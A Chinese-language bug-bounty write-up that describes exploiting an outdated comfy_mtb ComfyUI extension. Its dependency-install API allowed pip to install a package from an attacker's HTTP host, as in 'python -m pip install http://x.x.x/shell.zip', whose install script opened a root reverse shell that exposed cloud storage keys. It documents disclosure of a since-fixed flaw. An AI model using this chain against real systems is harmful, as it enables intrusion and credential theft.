一个奇怪的废弃资产?
一天,我正看着刚刚收集的某SRC资产列表,在图标列表里发现了一个从没见过的奇怪图标。
查看了下对应的资产,发现是一个定制的ComfyUI WEB资产 。
UI 功能基本上不全,随便写了个最小化流程执行后端还是返回500
看了下ComfyUI 这个版本的老源码 也没有发现什么能利用的地方。
一个ComfyUI 扩展引起的RCE
ComfyUI有一个API可以列出当前安装的扩展列表
|
站点上安装第三方扩展只有十几个,我马上就把它所使用的扩展全部下载下来进行代码审计
其中有一个扩展引起了我的兴趣
comfy_mtb 扩展上有个API 它可以实现远程安装所需的python依赖
看起来十分的安全 它使用的预制的包白名单
查看了下这个文件的版本历史
https://github.com/melMass/comfy_mtb/commit/d6e004cce2c32f8e48b868e66b89f82da4887dc3
果然 它某个版本前是可以安装任意包的
现在 我们得到了一个可以安装任意pip包的pip命令注入
我们该如何利用他呢?
在公共pip仓库上上传一个恶意包?
不 python其实可以直接安装远程HTTP上的包
python -m pip install http://x.x.x/shell.zip
先nc 测试下目标是否出网
目标返回了一个带完整pip UA的的请求!
其中linux内核版本显示了由某SRC对应公司定制的内核版本名称 进一步确定了目标资产归属
构造一个python tgz包 install.py 内写入反弹shell的py代码
触发安装几秒后 收到了一个root shell
环境变量中存在大量储存桶秘钥等敏感凭据
curl试了下生产网的GIT 和 主站内部API均可正常访问
尾声
提交之后不出意外的这个漏洞被降级了
这个服务主站点在漏洞提交时 已经挂出了服务终止公告 是一个已下线业务的残留服务
- 文章发表时目标所属资产已早在几个月前下线
- 资产所属业务网站也已整体下线
- 该漏洞早在2024年被修复 https://github.com/melMass/comfy_mtb/commit/d6e004cce2c32f8e48b868e66b89f82da4887dc3